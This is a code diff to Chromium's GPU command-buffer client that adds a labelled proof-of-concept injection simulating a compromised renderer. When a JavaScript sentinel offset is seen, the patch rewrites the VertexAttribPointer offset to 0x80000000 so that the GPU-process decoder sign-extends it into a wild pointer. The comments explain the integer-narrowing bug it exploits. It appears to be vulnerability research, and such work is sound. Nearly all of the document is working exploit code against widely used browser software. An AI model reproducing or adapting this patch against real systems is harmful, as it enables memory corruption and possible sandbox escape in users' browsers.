diff --git a/gpu/command_buffer/client/gles2_implementation.cc b/gpu/command_buffer/client/gles2_implementation.cc
index c5ddc978763b1..1add927abf4f2 100644
--- a/gpu/command_buffer/client/gles2_implementation.cc
+++ b/gpu/command_buffer/client/gles2_implementation.cc
@@ -2220,8 +2220,28 @@ void GLES2Implementation::VertexAttribPointer(GLuint index,
                         reinterpret_cast<GLintptr>(ptr))) {
       return;
     }
+    GLuint wire_offset = ToGLuint(ptr);
+    // ============================================================
+    // POC INJECTION (compromised-renderer simulation):
+    // A compromised renderer fully controls the command-buffer ring
+    // bytes. The wire field cmds::VertexAttribPointer::offset is a
+    // uint32_t. We substitute a value with the high bit set so that
+    // the GPU-process passthrough decoder, which narrows it to
+    // GLsizei (int32) before reinterpret_cast<const void*>, sign-
+    // extends it to a huge/negative pointer on LP64.
+    // Sentinel 0x10000000 from JS -> 0x80000000 on the wire.
+    // ============================================================
+    if (wire_offset == 0x10000000u) {
+      wire_offset = 0x80000000u;
+      fprintf(stderr,
+              "[POC-RENDERER] Injecting cmds::VertexAttribPointer "
+              "offset=0x%08x (sign-extends to %p in GPU process)\n",
+              wire_offset,
+              reinterpret_cast<const void*>(
+                  static_cast<intptr_t>(static_cast<GLsizei>(wire_offset))));
+    }
     helper_->VertexAttribPointer(index, size, type, normalized, stride,
-                                 ToGLuint(ptr));
+                                 wire_offset);
   }
   CheckGLError();
 }